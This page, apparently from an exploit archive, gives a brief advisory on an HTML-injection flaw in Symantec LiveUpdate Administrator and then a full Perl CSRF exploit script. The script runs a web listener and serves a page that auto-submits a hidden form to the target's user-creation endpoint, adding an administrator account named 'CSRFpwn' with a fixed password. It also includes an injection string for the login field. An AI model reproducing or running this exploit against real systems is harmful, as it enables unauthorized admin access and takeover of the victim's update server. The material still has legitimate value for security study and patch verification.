1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 |
source: https://www.securityfocus.com/bid/46856/info Symantec LiveUpdate Administrator is prone to an HTML-injection vulnerability. Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected application, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. #!/usr/bin/perl ## #Title: Symantec Live Update Administrator CSRF Exploit #Name:luaCSRF.pl #Author:Nikolas Sotiriu (lofi) <lofi[at]sotiriu.de> # #Use it only for education or ethical pentesting! The author accepts #no liability for damage caused by this tool. # ## use Socket; use IO::Handle; use Getopt::Std; my %args; getopt('g:h:', \%args); my $payload = $args{g} || usage(); my $victim= $args{h} || usage(); banner(); if ($payload eq "1") { print "[+] Using the Alert Box payload\n"; # Alert Box $html = <<ENDHTML; <html> <SCRIPT LANGUAGE="JavaScript">alert('!!!XSS/CSRF vulnerability!!!')</SCRIPT> </html> ENDHTML } elsif ($payload eq "2") { print "[+] Using the add admin user payload\n"; # Adds the user CSRFpwn with password 12345678 $html = <<ENDHTML; <html> <body onload="document.csrf.submit();"> <form name="csrf" action="http://$victim:7070/lua/adduser.do" method="post"> <input type="hidden" name="dispatch" value="save" /> <input type="hidden" name="username" value="CSRFpwn" /> <input type="hidden" name="password" value="12345678"/> <input type="hidden" name="verifyPassword" value="12345678"/> <input type="hidden" name="lastname" value="junk" /> <input type="hidden" name="firstname" value="junk" /> <input type="hidden" name="email" value="junk@junk.com" /> <input type="hidden" name="userRole" value="1" /> </form> </body> </html> ENDHTML } my $protocol = getprotobyname('tcp'); socket(SOCK, AF_INET, SOCK_STREAM, $protocol) or die "[-] socket() failed: $!"; setsockopt(SOCK,SOL_SOCKET,SO_REUSEADDR,1) or die "[-] Can't set SO_REUSEADDR: $!"; my $my_addr = sockaddr_in(80,INADDR_ANY); bind(SOCK,$my_addr) or die "[-] bind() failed: $!"; listen(SOCK,SOMAXCONN) or die "[-] listen() failed: $!"; warn "[+] waiting for incoming connections on port 80...\n"; warn "[+] Enter the following String in the LUA username login field\n"; warn "[+] (e.q. HTTP/SSH) and wair for the admin to view the Logs\n"; warn "[+]\n"; warn "[+] <frame src=http://<LOCAL_ADDRESS>/.html>\n"; $repeat = 1; $victim = inet_aton("0.0.0.0"); while($repeat) { my $remote_addr = accept(SESSION,SOCK); my ($port,$hisaddr) = sockaddr_in($remote_addr); warn "[+] Connection from [",inet_ntoa($hisaddr),",$port]\n"; $victim = $hisaddr; SESSION->autoflush(1); if(<SESSION>) { print SESSION $http_header . $html; } warn "[+] Connection from [",inet_ntoa($hisaddr),",$port] finished\n"; close SESSION; } sub usage { print $payload; print "\n"; print " luaCSRF.pl - Symantec LUA CSRF Exploit\n"; print "===============================================================\n\n"; print "Usage:\n"; print " $0 -g <payload> -h <lua-ip>\n"; print "Optional:\n"; print " -p <local port to listen on>\n"; print " -g (1|2) <payload to use>\n"; print "1 <Execute an alert box\n"; print "2 <Add the Admin User \"CSRFpwn\">\n"; print "Notes:\n"; print " -nothing here\n"; print "\n"; print "Author:\n"; print " Nikolas Sotiriu (lofi)\n"; print " url: www.sotiriu.de\n"; print " mail: lofi[at]sotiriu.de\n"; print "\n"; exit(1); } sub banner { print STDERR << "EOF"; -------------------------------------------------------------------------------- luaCSRF.pl - Symantec LUA CSRF Exploit -------------------------------------------------------------------------------- 111 1111111 11100 101 00110111001111 11101 11 10 111 101 1001111111 110111 00 10 1111 111 1111111101 10111 1 10 11 100 101 1 11111111011 11111 1 10001 01 01 1 1 111 1111011101 1000 0 11 10 100 10 11 111 11111 11 1111 111100 1111111111 01 10 10 11 01 011 11111111111 1 111111 10111110 001 00 11 1110 11 10 11111111111 11 1111111 111 101111111 0 1001 11 1 11 0 10 11 1111111111111111 1111110000111 011111 0110 10 100 11 1 11 01 01 111111111111111 1 11110011001 1011111 0110 10 11 1110 11 1 10 111111111111111111111 100001 1011111 0 10 10 01 10 1 11 1 111111111111111111111111 001101 011111 000 11 0 1111 0 11 0111111111111111111111111101 1111111 01 01 1111 1111 1 11 1111111111111111111111 1101 1111 111 1111 100 111110 0111 0 10111111111111111111111 11111 1111 111 11111111 1 1 1111 11 111111111111111111111111101001 111 1011111 1 11111111110111111111111111111111111111111 01 10111001 11 110010110110100011110111111111111111110 111 11100 11100101110100101 011111111111111111001 11111101 110000 1011000011 1011 1111 1111111000 1111111 0 11 000 1011100001101000 1 1001 0000111101 0110111111 1011 01100010111011 10 10111 10010000011 1010 1001111100 1111 101 11 1110 01 101011 1001100 11110000111111 11000001111 1 EOF } |